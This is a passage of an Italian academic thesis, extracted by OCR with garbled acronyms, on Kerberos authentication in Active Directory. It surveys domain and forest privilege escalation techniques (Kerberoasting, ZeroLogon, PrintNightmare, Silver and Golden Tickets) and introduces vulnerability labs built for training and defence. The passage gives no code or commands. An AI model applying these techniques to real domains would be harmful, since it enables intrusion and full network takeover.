1. A invia un messaggio non criptato a[AS] indicando la propria identita.

2. [A§|controlla nel proprio database e, trovando la chiave Ka posseduta da A, invia in risposta
due messaggi M1 e M2. 1l primo ¢ crittografato da Ka, il secondo da Krgs. A utilizza la
propria chiave per decrittografare il messaggio M1, ottenendo la chiave di sessione che
si trova al suo interno: K/. M2 invece non puo essere decrittografato in quanto la chiave

Ktgs non ¢ posseduta da A.

3. Ainvia a il messaggio M2, che non ¢ stato aperto, € M3, un messaggio composto
da dati per I'identificazione di A crittografati con la chiave K1. decrittografa il mes-
saggio M2 che ¢ crittografato con la sua chiave, K7gs, e ottiene una copia della chiave K/
che si trova al suo interno. Poi la utilizza per decrittografare il messaggio M3, ottenendo

i dati per I’identificazione di A.

4. invia quindi ad A i messaggi M4 e M5, crittografati rispettivamente con K/ e Kb. A
procede a decrittografare M4, in quanto possiede K/; in questo modo ottiene la seconda
chiave di sessione, K2, che si trova dentro al messaggio. M5 invece non puo essere

decrittografato, in quanto ¢ necessaria la chiave Kb che A non possiede.

5. Ainvia a B 1 messaggi M35, che non ¢ stato aperto, e M6, che ¢ stato crittografato con K2
da A. M6 contiene al suo interno un timestamp e delle informazioni sulla identita di A.
B procede a decrittografare il messaggio M5, in quanto ¢ crittografato con la sua chiave
Kb, e ottiene una copia di K2. Utilizza questa chiave per decrittografare M6 ottenendo il

timestamp e le informazioni sull’identita di A.

6. Binvia ad A il messaggio M7, crittografato con K2, che contiene informazioni sull’iden-

tita di B e il timestamp incrementato di uno.

Alla fine di tutti 1 passaggi si noti che:

* B¢ sicuro dell’identita di A: ha ricevuto le informazioni sulla sua identita crittografate da
una chiave sicura, ottenuta dal messaggio M5 crittografato a sua volta con la chiave Kb,
che solo B e il COnoscono.

* A ¢ sicuro dell’identita di B: ha ricevuto le informazioni sulla sua identita crittografate
con la chiave di sessione K2, che gli ¢ stata data dal KD(

* sia A che B possiedono una copia della chiave K2; nessun intruso all’interno della rete
puo averla ottenuta in quanto ha sempre viaggiato crittografata. A e B possono utilizzare

questa chiave per comunicare in sicurezza.
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Il protocollo cosi presentato, a livello teorico, ¢ implementato con alcune piccole differenze

nel sistema di autenticazione Kerberos usato da|Active Directory, Viene anticipato che al posto

di A si considerera un utente del dominio, al posto di B un servizio che si vuole utilizzare e che

i ticket assumeranno dei nomi particolari come (Ticket-Granting-Ticket| e |Service-Ticket, Nei

prossimi paragrafi verra esposta nel dettaglio I'implementazione di Kerberos all’interno della

rete|Active Directoryl

2.1.6 TGTeST

Il sistema |Active Directory| utilizza un particolare meccanismo che permette 1I’autentica-

zione degli utenti e delle macchine all’interno dei domini, che vanno considerati come unita

indipendenti; la sicurezza ¢ quindi controllata e mantenuta in questo livello dell’infrastruttura.

Generalmente si puo dividere 1’utilizzo del dominio da parte di un utente semplice, ad esem-
pio un dipendente dell’azienda, in 3 diverse fasi. Nella prima fase, 1’utente effettua 1’autentica-
zione locale nella workstation che deve utilizzare. La procedura ¢ quella standard che avviene
col log-in in ogni tipo di computer; I’autenticazione viene effettuata localmente all’interno del-
la macchina usata. Nella seconda fase, la macchina in questione, in automatico, si collega al

Domain Controller e tenta di autenticarsi utilizzando le credenziali dell’utente. Se ci0 avviene

correttamente, 1’utente ¢ autenticato a livello di dominio e puo utilizzare i protocolli e i servizi
che si trovano al suo interno. Nella terza fase infatti, I’utente puo effettivamente, se ne ha 1’au-
torizzazione, usare le risorse messe a disposizione dai server del dominio. La prima fase viene
effettuata una singola volta per sessione in quanto 1’utente, una volta autenticato localmente,
puo usare la macchina fino al log out o al riavvio. La seconda fase pu0 essere ripetuta piu volte

in quanto 1’autenticazione a livello di dominio ha una scadenza: una volta passato il tempo pre-

visto la macchina procede autonomamente a ricontattare il |[Domain Controller per autenticarsi

nuovamente. La terza fase viene ripetuta per ogni risorsa, protocollo o servizio che 1’utente
deve utilizzare[/13[][14/][15].

NOTA: Ogni dominio contiene almeno un [DC]; a volte, per motivi logistici e di impiego di
risorse, possono esserne utilizzati anche piu di uno. Per semplicita, in questo elaborato, verra

sempre preso in esame la presenza di un solo [DC| per dominio.

Il servizio di autenticazione viene erogato dal[Key Distribution Center{((KDC) che di default
¢ parte del[D( 11 protocollo utilizzato & Kerberos, che utilizza la porta 88/TCP.

NOTA: In questo elaborato, per semplicita, i[KD(|saranno sempre considerati parte dei[D(|

€ non esterni.
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Lautenticazione tramite Kerberos, come gia anticipato, si basa sull’utilizzo di Ticket che
permettono la fruizione dei servizi messi a disposizione dai server appartenenti al dominio. I
Ticket sono flussi di dati che vengono inviati e ricevuti dalle macchine che partecipano all’uso
del protocollo. Esistono due principali tipologie di Ticket che vengono utilizzati dal servizio
[Active Directoryt i [Ticket-Granting-Ticked| (TGT)) e i [Service-Ticked (ST)IL3][T41[15][16]. T

primi permettono di dimostrare un’autenticazione avvenuta con successo, 1 secondi servono per

il vero e proprio utilizzo dei servizi.
Di seguito viene mostrata un’immagine contenente la negoziazione di vari ticket tra un
client, un [D{ e un server tutti appartenenti allo stesso dominio. Si consideri I’autenticazione

locale dell’utente nella workstation gia avvenuta.

Domain Controller

. sed wh Present TGs for access|
User’'s Workstation €N mutual authenticatio

. I
Nis requested)——

Application Server

Figura 13: Negoziazione Kerberos interna al dominio.

Una breve spiegazione di tutte le operazioni presentate:

1. AS REQ : I'utente si autentica presso il [KD( del [Domain Controller inviando un ticket

crittografato con I’hash della sua password. Questo permette al [KD(]di assicurarsi che

I’utente sia effettivamente chi dice di essere, in quanto anche il [KD( mantiene una copia
di quell’hash.

2. AS REP: se I’autenticazione & andata a buon fine, il KD(risponde all’utente inviandogli
il questo ¢ il ticket con le informazioni dell’utente, crittografate con I’hash dell’ac-
count KRBTGTS$, un account di servizio usato solo per questo scopo. La copia dell’hash

di questo account & mantenuta solo dal[DC]

3. TGS REQ : I'utente che vuole usufruire di un servizio esplicita la richiesta al[D(|fornendo

in allegato anche una copia del ottenuto precedentemente.
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4. TGS REP: se le informazioni fornite dall’utente coincidono con quelle presenti nel
che essendo crittografate dal[KDC|con I’hash di KRBTGTS$ non possono essere modificate
da nessuno, allora il [KD( risponde inviando il [S7] il ticket che permette all’utente di

utilizzare il servizio richiesto.

5. AP REQ : I'utente invia il @ al server che fornisce il servizio considerato; il server esegue

un controllo sul [S7]e se non sono presenti incongruenze emette il servizio.

6. AS REP : operazione opzionale. Permette al server, che fornisce il servizio, di assicurare

la propria autenticita all’utente.

Come accennato nell’Introduzione all’ Active Directory, ¢ possibile per un utente utilizzare
un servizio erogato da un server di un dominio diverso, a patto che il dominio dell’utente e
quello del server mantengano un legame di fiducia. Si ponga I’attenzione sul fatto che, usando
lo schema riportato in precedenza, non vi ¢ la possibilita di utilizzare servizi appartenenti a

un dominio diverso, anche perché gli utenti possono autenticarsi solo presso il DC del proprio

dominio. Per ovviare a questo problema nella logica del servizio, |[Active Directory| propone un

diverso modello di negoziazione che coinvolge un nuovo tipo di ticket: 1’inter-realm

2.1.7 Inter-realm TGT

Nell’esempio seguente viene presentata la situazione in cui un utente effettua una nego-
ziazione Kerberos tra pit domini. I due domini presi in considerazione sono nominati per
semplicita blu e verde. Al dominio blu appartengono la Workstation e il [D( colorati in blu.
Nel dominio verde si trovano invece il[D(e il Server raffigurati col medesimo colore. Infine la

freccia viola tra i due[D(Jrappresenta il legame di fiducia tra i due domini.

Blue Domain Green Domain
Domain Controller Domain Controller

Forest Trust

-
- -
- -
- -
,‘GSY - g
x —~
=) ~

-

1”')-)1-/ Sted\/{{-

acee®l g real® .

for * rcatio” Application
Server

User’s
Workstation

Figura 14: Negoziazione Kerberos in pit domini.
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La prima parte della negoziazione, segnalata in blu, ¢ analoga a quella dello schema gia
esposto. Avviene tra il client e il [D(] appartenente al suo dominio. Come mostrato in prece-
denza il client si autentica inviando un ticket crittografato al [D(| e ad autenticazione avvenuta
correttamente riceve il successivamente richiede il |S7| per il servizio a cui ¢ interessato
allegando una copia del proprio il[Dqrisponde, dopo aver controllato il inviando il
[ST richiesto.

La differenza rispetto al modello iniziale & che il [S7] richiesto non & un normale che
permette di usufruire di un servizio interno al dominio. Questo [S7]¢ in realta un inter-realm
T'GT| ossia un che permette 1’autenticazione presso un dominio diverso da quello di
appartenenza[13[][17]. Siccome vengono considerati domini che mantengono un legame di fi-
ducia, il DC del dominio dell’utente puo fare da garante ed emettere anche per questi

domini fidati.

In verde viene quindi presentata la sequenza delle operazioni che avviene tra il client e il[D(]
dell’altro dominio, quello in cui risiede il Server di cui necessita I’utente. Di seguito 1’analisi
delle operazioni effettuate durante la negoziazione col secondo dominio, segnalate in verde:

3. TGS REQ : I'utente richiede il [S7] per il servizio al [D(] del dominio verde, allegando

questa volta I’inter-realm rilasciato dal [D(]del dominio blu.

4. TGS REP : il [D{ del dominio verde, ad autenticazione avvenuta con successo tramite
Uinter-realm risponde inviando il[S7] per il server del dominio verde.

5. AP REQ : I'utente inoltra quindi il |S7| appena ottenuto al server del dominio verde e se

non sono presenti incongruenze usufruisce del servizio.

6. AP REP : operazione opzionale. Permette al server del dominio verde, che fornisce il

servizio, di assicurare la propria autenticita all’utente del dominio blu.

Con queste interazioni il client di un dato dominio puo effettivamente usufruire di servizi in

altri domini, se persiste un legame di fiducia.

2.2 Domain Privilege Escalation

Per Hacker, Penetration Tester e Red Teamer che attaccano una infrastruttura che utilizza

il servizio [Active Directory, uno degli obiettivi principali ¢ quello di ottenere privilegi di alto

livello.

In particolare si considera Domain Privilege Escalation la sequenza di operazioni che per-
mette di ottenere i privilegi massimi all’interno di un dominio, usando un utente non privilegia-
to. Questo avviene, come ¢ possibile intuire, attraverso la compromissione e il controllo del suo
DC
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Chi compromette il [Domain Controlleri di un dominio ha il controllo completo dei suoi

utenti, delle sue macchine, dei suoi server e di tutto cio che lo compone.
Le strategie utilizzabili sono molteplici e alcune di esse verranno presentate nel paragrafo
successivo; la maggior parte delle tecniche di persistenza si basano invece su Silver e Golden

Ticket che verranno poi presentati in seguito.

2.2.1 Vettori Principali

Considerando I’infrastruttura|Active Directory|in prospettiva, non ¢ altro che un tipo di rete,

seppur con protocolli e schemi ben definiti, popolata da utenti e macchine. Di conseguenza, in

realtd, vere e proprie vulnerabilita che colpiscono direttamente 1'lActive Directory come servi-

zio sono fortunatamente molto limitate. Si dovrebbe quindi considerare la Domain Privilege

Escalation come una seconda fase rispetto a quello che ¢ I’attacco iniziale.

Generalmente, infatti, I’attacco inizia fuori dalla rete, con quelli che possono essere i vettori

pit tradizionali, come la compromissione di un servizio web tramite [Local File Inclusion| (LFT),
SOL Injection| (SOLI) o [Remote Command Execution| ((RCE]) derivante da una vulnerabilita nota

o da una cattiva configurazione del server.

Oppure, viene attaccato un software o un servizio che ¢ stato programmato male, senza
rispettare tutte le policy che permettono la realizzazione di un software sicuro: esempi fin troppo

conosciuti di vulnerabilita di questo tipo sono il Buffer Overflow e le Hardcoded Credentials.

Infine, molto spesso, sono proprio i dipendenti dell’azienda ad essere colpiti, con un takeo-

ver dei loro account social o attacchi di phishing piu o meno complessi.

L’ obiettivo iniziale di un cybercriminale che si approccia a questa rete ¢, quindi, la compro-

missione e il controllo di un account utente o di una macchina. A questo punto ¢ poi possibile

sfruttare i protocolli e servizi propri dell'lActive Directory| per scalare i privilegi all’interno del

dominio. Generalmente si puo considerare il movimento del cybercriminale come orizzontale o

verticale.

Per privilege escalation orizzontale si intende 1’acquisizione e il controllo di macchine e
utenti che hanno privilegi simili a quelli gia posseduti. Questa tecnica ¢ interessante perché
permette di espandere le conoscenze che il cybercriminale ha della rete e porlo nella situazione

di poter eseguire anche una scalata verticale.

Per privilege escalation verticale si intende, invece, I’acquisizione e il controllo di macchine

e utenti che hanno privilegi maggiori rispetto a quelli gia posseduti. Infatti, nel caso di una rete

|Active Directory, il fine ultimo ¢ sempre una scalata verticale che permetta di compromettere il

server piu importante, il [Domain Controllen
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Di seguito vengono presentati gli attacchi piu comuni che sono utilizzati per scalare i privi-
legi a livello di dominio, utilizzabili solamente dopo aver compromesso almeno un utente o una

macchina:

 EternalBlue (CVE}F2017-0144[18]]) : resa pubblica nel 2017, & forse la vulnerabilita piu
famosa del protocollo [Server Message Block| (SMB)). Permette di ottenere facilmente il

controllo di una macchina con sistema operativo Windows Server 2016 e precedenti, se

non ¢ stata installata la parch adeguata.

» ZeroLogon (CVE}2020-1472[19]) : vulnerabilita che coinvolge il protocollo Netlogon.
Molto pericolosa, nei casi peggiori permette di prendere direttamente il controllo del

Domain Controllen

« PrintNightmare (CVE}2021-34527[20], [CVEF2021-1675[21], [CVEF2021-34481(22]) :
vulnerabilita che coinvolge lo spooler di stampa. Molto pericolosa, permette una

Command Execution nelle macchine che ne sono affette.

* Kerbruting : tecnica che consiste nel bruteforcing delle password degli utenti del dominio.

* Password Spraying : tecnica che consiste nel testare una password nota con tutti gli utenti
del dominio. Molto spesso le password vengono riutilizzate e questo attacco si basa su

questa premessa.

* ASREP-Roasting : quando la pre-autenticazione ¢ disabilitata per un determinato utente,
¢ possibile richiedere al [DC] un Ticket senza eseguire 1’autenticazione. Una volta otte-
nuto questo Ticket, parzialmente crittografato con I’hash dell’utente in questione, si puo
procedere con una operazione di cracking offline, col fine di ottenere le credenziali di

quell’utente.

* Kerberoasting : tecnica che consiste nel richiedere un [Service-Ticke per un de-

terminato servizio. Considerato che il Ticket ¢ crittografato con 1’hash del servizio, se
quest’ultimo ¢ configurato con una password debole questa pud essere ottenuta tramite

un’operazione di cracking offline del Ticket.

* Constrained e Unconstrained Delegation : |Active Directory/mette a disposizione un mec-

canismo chiamato delegation che permette a un utente X di impersonare momentanea-
mente un utente Y, in modo da godere dei suoi privilegi e servizi. I cybercriminali possono

utilizzare questo meccanismo per ottenere Ticket e privilegi degli utenti delegati.
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* [Man In The Middle| (MITM)) : categoria di attacchi che comprende I’acquisizione e il re-

lay di hash, Ticket e informazioni che transitano all’interno della rete. Queste tecniche
si basano sul rendere una macchina X, controllata dal cybercriminale, uguale a un server
legittimo. Gli altri dispositivi nella rete, di conseguenza, comunicheranno con esso sen-
za considerarlo un impostore; il cybercriminale potra quindi usare questa copertura per

ottenere informazioni sensibili.

Si ricorda inoltre che per ogni utente che viene compromesso sono ottenuti anche i privilegi
derivanti dai gruppi a cui appartiene: maggiori informazioni a proposito dei gruppi saranno

fornite nei paragrafi successivi.

Una volta ottenute alcune password di account utente, macchina o servizio del dominio, si
procede all’utilizzo di Silver e Golden Ticket, che permettono di mantenere i privilegi ottenuti e
garantiscono la persistenza nel dominio controllato[23]].

2.2.2 Silver e Golden Ticket

I Silver e Golden Ticket sono dei ticket con determinate caratteristiche che vengono forgiati

da coloro che vogliono compromettere un sistemalActive Directory e/o persistere al suo interno;

possiamo definire questi individui, che agiscono per i piu disparati motivi, legali e illegali, come
gli attaccantil13]].
Per comprendere il funzionamento di questi ticket bisogna prima chiarire, almeno parzial-

mente, la struttura dei [S7] e dei

Il ¢ un ticket che, come anticipato, permette a un utente X di usufruire di un servizio
Y gestito dall’account Z. Si consideri che un account puo fornire anche piu di un servizio. Il
ticket viene rilasciato dal [D{ se la richiesta al servizio Y & accompagnata da un valido
per I'utente X. All’interno del |S7| vengono inserite alcune informazioni riguardanti I’utente X
e altre utili al server che propone il servizio Y. Il ticket cosi formato viene crittografato con
I’hash della password di Z. La copia di questo hash & mantenuta solo ed esclusivamente dal[D(|
e dell’account in questione: di conseguenza il |S7| viene crittografato e decrittografato solo da
questi ultimi; il ticket puo essere quindi considerato come parte di una comunicazione tra[D(le
Z, con I'utente X che funge sostanzialmente da messaggero[[13][[LS][16][23].

Se un attaccante ottiene I’hash di Z allora sara in grado di forgiare tanti [S7| per usufruire
dei vari servizi offerti da Z, e anche di specificare arbitrariamente 1’utente che potra utilizzarli.
Questi ticket forgiati direttamente dall’attaccante prendono il nome di Silver Ticket. Se si ot-
tiene, ad esempio, I’hash dell’account macchina di una workstation del dominio, si puo forgiare
un Silver Ticket che permetta di usufruire del servizio di amministrazione di quella macchina,

senza avere un utente che possieda i privilegi adeguati.

33



In pratica, in questo modo, I’ attaccante puo utilizzare il servizio di amministrazione senza
essere, di fatto, un amministratore. Ovviamente, questo servizio potra essere utilizzato solo

nella workstation di cui € stato rubato 1’hash dell’account macchina.

11 Golden Ticket presenta analogie col Silver Ticket appena proposto, ma riguarda i[TG7]24].

I che dimostrano 1’autenticazione avvenuta, sono crittografati con 1’hash dell’account

KRBTGTS, che serve unicamente a questo scopo. Ogni [Domain Controller di ogni dominio

possiede questo account; ognuno di essi ¢ indipendente e presentano tutti password diverse.
L’hash di KRBTGTS$ & conosciuto esclusivamente dal suo [D{, in quanto & solo quest’ultimo
che necessita di crittografare e decrittografare 1 In sostanza, il ¢ un messaggio che il
[KD( crea e che affida all’utente X, come prova che esso si sia gia autenticato nel dominio. Un
attaccante che entra in possesso dell’hash della password di KRBTGT$ puo forgiare i Golden
Ticket, illegittimi che permettono di autenticare e impersonare arbitrariamente qualsiasi
utente del dominio, anche i piu privilegiati. Ad esempio, I’attaccante che possiede le creden-
ziali per I’account X e che ha ottenuto 1’hash dell’account KRBTGT$ potra, utilizzando nella
pratica I’account X, impersonare arbitrariamente 1’account Y e usare tutti 1 servizi e le risorse a
cui quest’ultimo ¢ autorizzato[[13][1S][16][23]][24].

Per rendere piu semplice la comprensione delle caratteristiche dei ticket presentati viene

riportata di seguito una tabella comparativa.

Ticket legittimo ST TGT
Target del ticket Server che emette il servizio Domain Controller
Servizio utilizzabile Qualsiasi fornito dall'account KRBTGT
Utente impersonato Qualsiasi Qualsiasi
Hash del ticket “SERVICEACCOUNT"$ KRBTGT$

Figura 15: Comparazione tra Silver e Golden Ticket.

Sono state utilizzate 3 colorazioni differenti per rappresentare 1’usabilita delle caratteristiche
corrispondenti a ciascun ticket dal punto di vista di un attaccante. Il colore verde indica una
caratteristica vantaggiosa, il giallo una caratteristica che porta vantaggi e svantaggi mentre il

rosso indica una caratteristica svantaggiosa.
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I ticket legittimi utilizzabili sono entrambi colorati in verde in quanto sono dei template

esistenti, facili da richiedere, utilizzare e forgiare.

Il target del ticket nel caso Silver ¢ colorato in giallo, in quanto vi & la possibilita che il server

che emette il servizio sia in manutenzione, non online oppure non fornisca temporaneamente il

servizio per cui il ticket ¢ stato forgiato. Il Golden, invece, ha come target il |Domain Controller|

che ¢ sempre online e in funzione, altrimenti tutto il dominio smetterebbe di esistere in quanto

tale.

Il servizio utilizzabile ¢ stato colorato in giallo nel primo caso, in quanto ¢ limitato a quelli
disponibili per I’account considerato, quindi una porzione ridotta rispetto alla totalita dei servizi
presenti nel dominio. Il Golden, invece, ha come servizio utilizzabile il KRBTGT che permette
I’autenticazione all’interno del dominio; considerando che ¢ uno dei servizi piti importanti ¢

stato colorato in verde.

Gli utenti impersonati sono in entrambi i casi arbitrari, una caratteristica quindi molto

vantaggiosa.

L’hash del ticket ¢ stato colorato in giallo per il Silver in quanto per I’utilizzo di tutti i servizi
del dominio ¢ necessario compromettere ogni service account; si noti comunque che, molto
spesso, gli account di servizio sono gestiti da utenti reali per cui sono proni ad attacchi come
forza bruta, riutilizzo delle password e phishing. Al contrario I’account KRBTGTS$ viene gestito
autonomamente dal servizio Kerberos e ha una password complessa che viene generata dal
sistema. Essa non viene mai utilizzata e solo I’hash viene impiegato per i[TG7] La possbilita che

questo account venga compromesso ¢ minima per cui, solitamente, I’'unico modo per ottenerne

I’hash ¢ fare il dump del database del |Domain Controllet Considerando che per eseguire

questa operazione servono privilegi di amministrazione massimi oppure devono essere presenti
nel sistema misconfigurazioni gravi, la difficolta nell’ottenimento dell’hash ¢ rappresentata dal

colore rosso.

2.2.3 Gruppi importanti pt.1

All’interno dell’infrastruttura che ¢ stata delineata nei paragrafi precedenti, i privilegi agli
utenti vengono assegnati tramite i gruppi. Un gruppo € una vera e propria entita che rappresenta
una serie di privilegi come quelli di lettura di file, di accesso a determinati servizi o installazione

di software. Ogni utente puo far parte di un gruppo o piu ed eredita tutti i privilegi da ciascuno di

essi. Inoltre, gli utenti possono far parte solo di gruppi presenti nel proprio [Domain Controllen

€ non possono appartenere a gruppi gestiti in altri domini.

Prima di presentare i gruppi privilegiati viene introdotto il concetto di gruppi annidati, che
sara utile successivamente. Si prenda come esempio un gruppo A che fornisca il privilegio di

lettura di un dato file, e un gruppo B che assegni 1 privilegi di scrittura dello stesso file.
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Se si vogliono assegnare entrambi i privilegi a un utente X bisognera inserirlo, ovviamente,
sia all’interno del gruppo A, sia all’interno del gruppo B. Questa semplice soluzione perd non
¢ scalabile: nel caso si volesse ripetere la stessa operazione con altri 10 utenti, si dovrebbero
fare 20 assegnazioni; nel caso in cui i gruppi da assegnare crescessero di numero, aumenterebbe
esponenzialmente il tempo utilizzato per effettuare tutte le assegnazioni corrette. Per rendere
la soluzione ottimale, invece, si puo utilizzare un gruppo che fa parte di un altro gruppo, cioe
di due gruppi annidati. Infatti si puo creare un gruppo C e inserirlo sia nel gruppo A che nel
gruppo B. A questo punto tutti gli utenti che devono godere di entrambi i permessi di lettura e
scrittura possono essere inseriti nel gruppo C: erediteranno 1’appartenenza ai gruppi A e B e di

conseguenza anche i privilegi a loro associati.

Considerando I’'importanza che ha il |Domain Controller per il suo dominio, solo pochi

gruppi di amministrazione hanno la possibilita di accedervi da remoto. La compartimentazione
e la riduzione dei privilegi per utenti a cui non sono necessari ¢ la chiave per rendere un dominio
pitt sicuro. Meno utenti hanno accesso alla macchina pitt importante, il[DC] meglio & per la sua

sicurezza.

Esistono una serie di gruppi privilegiati a livello di dominio ben definiti, di cui i piu impor-

tanti vengono riportati di seguito[[13[][235]].

Il primo gruppo presentato ¢ Administrators. Questo ¢ I’esatta copia del tradizionale grup-
po di amministrazione dei sistemi Windows Desktop. Sussiste all’interno di ogni macchina
del dominio e contiene al suo interno I’amministratore e/o amministratori di quella specifica
macchina. Dal punto di vista della sicurezza ¢ sicuramente interessante per un attore malevolo
ottenere 1’accesso a utenti appartenenti a questi gruppi, ma 1’obiettivo per scalare i privilegi a li-
vello di dominio & sempre quello di ottenere un account appartenente ad Administrators nel[DC
Infatti, come tutte le macchine del dominio, anche il[DCJospita di default un gruppo Administra-

tors e 1 suoi membri possiedono i privilegi di amministrazione della macchina. Amministrando

il|Domain Controllen si controlla tutto il dominio.

Un secondo gruppo interessante, piu del primo, ¢ quello dei Domain Admins. Gli utenti
che ne fanno parte appartengono, automaticamente, a tutti 1 gruppi Administrators di tutte le
macchine del dominio, [D(] compreso. Questo & un chiaro esempio di gruppi annidati. Utenti
di questo gruppo sono I’obiettivo principale degli attaccanti, perché hanno i privilegi massimi
all’interno del dominio e possono modificare qualsiasi cosa, password degli utenti compresa.

Esistono ulteriori gruppi privilegiati come Account Operators, Server Operators, Backup
Operators e tanti altri, ma nessuno ha privilegi tanto alti come quelli degli amministratori

appena presentati[25]].
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2.3 Forest Privilege Escalation

Come gia anticipato esiste un dominio root della foresta che ricopre il ruolo di massima
autorita su tutti gli altri domini. Chi esegue una Domain Privilege Escalation in questo parti-
colare dominio e prende il controllo del suo [DC} puod controllare la foresta e tutto cio che vi &
al suo interno. Questo ¢ lo scenario peggiore, per cui vengono messe in pratica varie tecniche
che permettono di rendere il pill possibile sicuro e isolato questo particolare dominio. I1[DC]del
dominio root ¢ la macchina piu importante della foresta e il suo accesso ¢ limitato al minimo
numero di utenti possibile.

Un attaccante che compromette un dominio diverso da quello root puo aspirare a ottenere in
un secondo momento i privilegi che gli mancano a livello di foresta; pud proseguire all’interno
del tree compromettendo piu domini possibili e risalire fino al dominio root, pregiudicandone
I’integrita. La sequenza di azioni che permette di raggiungere questo scopo ¢ definita Forest

Privilege Escalation[13]].

2.3.1 Gruppi importanti pt.2

Oltre ai gruppi di amministrazione presentati precedentemente, esiste un gruppo che per-
mette privilegi massimi anche a livello di foresta: Enterprise Admins. Questo gruppo esiste
solo nel[D(j del dominio root, chi ne fa parte & Administrators in tutti i domini della foresta ed

¢ il target ultimo per I’escalation dei privilegi. Questo ¢ un altro esempio di gruppi annidati.

In particolare, questo gruppo privilegiato ¢ 1’unico che puo essere utilizzato anche fuori
dal dominio root. Gli utenti che ne fanno parte devono esistere nel dominio radice, ma possono
utilizzare i privilegi ottenuti con questo gruppo anche negli altri domini della foresta. Enterprise

Admins ¢ il gruppo pill importante e quello da proteggere meglio[/13]][235]].

Riassumendo i 3 livelli di amministrazione presentati si ha che:
* il gruppo Administrators esiste in ogni macchina; 1’utente che ne fa parte ha il controllo

completo della macchina.

* il gruppo Domain Admins esiste nel |Domain Controller|di ogni dominio; I’utente che ne

fa parte ha il controllo completo del dominio e di tutte le macchine che si trovano al suo

interno.

* il gruppo Enterprise Admins esiste nel|Domain Controllerjdel dominio root della foresta;

I’utente che ne fa parte ha il controllo completo della foresta e di tutti i domini € macchine

che si trovano al suo interno.
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2.4 Introduzione ai Vulnerability Lab

Molto spesso si sente parlare, in ambito informatico, dell’utilizzo di laboratori per effettuare
determinati fest. Generalmente i laboratori sono delle infrastrutture che simulano un certo tipo
di rete. Possono essere fisici o virtuali e composti da un numero variabile di dispositivi come
macchine Desktop, server, router, switch e i diversi componenti che vengono normalmente uti-
lizzati in una rete. L’ obiettivo ¢ quello di creare una infrastruttura assomigliante il pitt possibile
a una reale, magari anche come copia di una gia esistente. Queste infrastrutture vengono spesso
utilizzate in grandi aziende per testare nuovo software, nuove versioni di soffware gia in uso,
nuovi componenti della rete o nuovi protocolli potenzialmente implementabili. Questi test ven-
gono quindi effettuati in un ambiente controllato, il laboratorio, e non direttamente nella rete
principale o in ambiente di produzione. Eventuali incidenti o errori non previsti non creano pro-
blemi reali perché vanno a colpire solo I’infrastruttura creata appositamente. In questo modo si
possono reiterare i test fino a quando non si ottiene in laboratorio una configurazione tale per
cui si raggiungono 1 risultati desiderati. A quel punto si possono adottare le stesse soluzioni
anche nella rete aziendale principale, diminuendo la possibilita di incontrare problematiche o
effetti avversi non voluti. Questa tipologia di laboratori puod essere utilizzata dagli sviluppatori
e ingegneri della rete per migliorare I’infrastruttura o la manutenzione, oppure dai sistemisti per

migliorarne il sistema di amministrazione.

Esiste poi una tipologia particolare di laboratori chiamati Vulnerability Lab. Ad ogni attacco
informatico antecede una fase di preparazione: i vari atfori, malevoli e non, sfruttano questo
momento per selezionare e testare gli strumenti che utilizzeranno successivamente. Sempre
pil spesso viene compreso nel processo 'utilizzo di Vulnerability Lab, laboratori creati gia
vulnerabili che permettono un approccio pratico e realistico. Questi laboratori sono ambienti
con caratteristiche simili ai futuri target degli attacchi e vengono utilizzati come piattaforme di

apprendimento e addestramento.

I vantaggi nel loro uso sono molteplici:
* tutte le operazioni effettuate erroneamente o non andate a buon fine non incideranno nel

sistema reale ma solo su quello copia;

* si puo analizzare con calma I’ambiente, individuare e comprendere le varie criticita che

presenta;

* ¢ possibile testare piu attacchi per una singola vulnerabilita in modo da capire quale sia il

migliore e quali invece andrebbero evitati;

* se si utilizza un laboratorio ben costruito, per qualsiasi problema riscontrato a seguito di

una operazione ¢ possibile farne il reset e riportarlo allo stato originale;
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* il laboratorio ¢ facilmente modificabile: se il target cambia la versione di un determinato
software questa operazione puo essere facilmente riprodotta all’interno del laboratorio,

senza doverlo ricreare da zero;

* 1laboratori possono essere installati in Cloud in modo che I’accesso possa essere eseguito,
in maniera efficiente, da qualsiasi luogo; inoltre possono anche essere resi portabili e di

facile installazione anche offline.

Queste caratteristiche vengono sfruttate non solo dagli attori malevoli che vogliono compro-
mettere un sistema, ma anche da coloro che invece vogliono difenderlo. Sempre piu spesso
anche le varie figure che si occupano della difesa di una rete aziendale utilizzano dei Vulnera-
bility Lab per comprenderne i punti deboli e sviluppare soluzioni che permettano di rendere le
reti considerate piu sicure[26]].

Esistono vari approcci che possono essere impiegati quando si utilizzano laboratori di questo

tipo, tendenzialmente raggruppabili in 3 grosse categorie[27]]:

» White Box Testing: questo approccio prevede la conoscenza completa dell’infrastruttura
prima di effettuare i test; mappe della rete, codice sorgente dei software, configurazio-
ni varie e credenziali per 1’autenticazione vengono messe a disposizione dei fester; ¢

I’approccio piu realistico per simulare attori inferni.

* Black Box Testing: approccio diametralmente opposto a quello precedente, i fester non
conoscono nulla in anticipo e si approcciano al laboratorio senza avere alcuna conoscenza

pregressa su di esso; € I’approccio piu realistico per simulare attori esterni.

* Grey Box Testing: questo metodo combina i due precedenti; i tester non conoscono la rete
e molto spesso non hanno a disposizione il codice sorgente del software, pero possiedono
informazioni su particolari configurazioni oppure le credenziali di qualche utente, per

simulare un attore che ha gia un parziale accesso alla rete.

Anche per I'infrastruttura [Active Directory| esistono molteplici Vulnerability Lab, per varie

tipologie di vulnerabilita e attacchi da performare. Sono disponibili in rete sotto forma di vari
tipi di portali e/o progetti; alcuni online e altri scaricabili e installabili. L’ obiettivo che si € posto
per il progetto di questa tesi € quello della creazione di una piattaforma che permetta I’appren-

dimento e I’esecuzione dei due attacchi principali utilizzati per la Forest Privilege Escalation

in ambiente Windows |Active Directory, Ulteriore scopo ¢ quello di fornire conoscenze che

permettano di proteggere un sistema da queste operazioni ostili.
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3 Soluzione proposta

Come gia anticipato, I’ obiettivo di questa tesi ¢ quello di creare un Vulnerability Lab conte-
nente uno scenario tale da rendere possibile una Forest Privilege Escalation. Potra essere inoltre
utilizzato per imparare a configurare correttamente ’infrastruttura ed evitare che questo tipo di

escalation dei privilegi sia possibile.

A volte puo essere utile, in ambito accademico, 1’utilizzo di Vulnerability Lab con configu-
razioni particolari e ricercate, che permettono di individuare nuove vulnerabilita e tecniche di
attacco. In questi casi, in cui giustamente si pensa solo alla didattica, non sempre i laboratori
somigliano alle strutture che vengono utilizzate effettivamente in azienda. Il focus che ¢ stato

scelto per questo progetto risiede nella sua utilita. Di conseguenza, la configurazione propo-

